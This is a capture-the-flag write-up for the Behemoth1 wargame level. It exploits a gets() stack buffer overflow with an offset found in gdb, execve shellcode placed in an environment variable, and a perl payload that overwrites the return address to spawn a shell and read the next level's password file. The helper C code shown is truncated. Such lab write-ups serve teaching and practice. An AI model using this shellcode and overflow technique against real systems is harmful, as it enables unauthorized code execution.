Behemoth1 - behemoth2

From JaxHax
Jump to navigation Jump to search

behemoth1 was another authentication challenge, except this one didn't have a hard coded password. In fact, there is no legit way to authenticate by looking at the code:

Behemoth1 asm.png

The decompiled code via hopper of this looks like:

function main {
    printf("Password: ");
    gets(((esp & 0xfffffff0) - 0x60) + 0x1d);
    puts("Authentication failure.\nSorry.");
    return 0x0;

So as we can see, there is no way to win this one with a password, no "if..then..else" log or anything. However the use of get() suggested a buffer overflow was likely here. The definition of gets() is:

The C library function char *gets(char *str) reads a line from stdin and stores 
it into the string pointed to by str. It stops when either the newline character 
is read or when the end-of-file is reached, whichever comes first.

So it will read until it encounters a newline of EOF, and it is copying to the stack. Sounds like a buffer overflow to me :-)

So let's see if that's true in gdb with a 100 byte pattern:

behemoth1@melinda:/games/behemoth$ gdb ./behemoth1 
GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.2) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
Find the GDB manual and other documentation resources online at:
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./behemoth1...(no debugging symbols found)...done.
(gdb) r
Starting program: /games/behemoth/behemoth1 
Password: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Authentication failure.

Program received signal SIGSEGV, Segmentation fault.
0x63413663 in ?? ()
(gdb) q
A debugging session is active.

	Inferior 1 [process 28400] will be killed.

Quit anyway? (y or n) y

It segfaulted. If we take that 0x63413663 address it died on and provide it to pattern_offset.rb from Metasploit we can see it takes 79 bytes to reach the return address saved on the stack. So now for getting the payload at a predictable location, since we are local, I decided to pass my payload in an environmental variable. The payload is a simple execute shell payload

behemoth1@melinda:/games/behemoth$ export EGG1=$(echo -en "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80")

Now that it is in place, I created a directory and uploaded and compiled the getenvaddr.c code to let me find the offset for where the payload would be in memory:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc,char *argv[]){
        char *ptr;
		if (argc != 3) {
			printf("\n [*] Usage: %s [env_var] [program]\n\n", argv[0]);
			return 0;
        printf("%s will be at %p\n",argv[1],ptr);
        return 0;

Once that was up there we could use that with the variable and program to determine where our code would be at.

<syntaxhighlight lang="bash">
behemoth1@melinda:/games/behemoth$ /tmp/thatoneguy/getenvaddr EGG1 ./behemoth1
EGG1 will be at 0xffffdeff

Now that we have our address it was time to throw it all together:

perl -e 'print "A"x79; print "\xff\xde\xff\xff\n"'

Now we just need to copy and paste that into the program.

behemoth1@melinda:/games/behemoth$ ./behemoth1
Authentication failure.
$ ls
behemoth0  behemoth1  behemoth2  behemoth3  behemoth4  behemoth5  behemoth6  behemoth6_reader  behemoth7
$ whoami	
$ cat /etc/behemoth_pass/behemoth2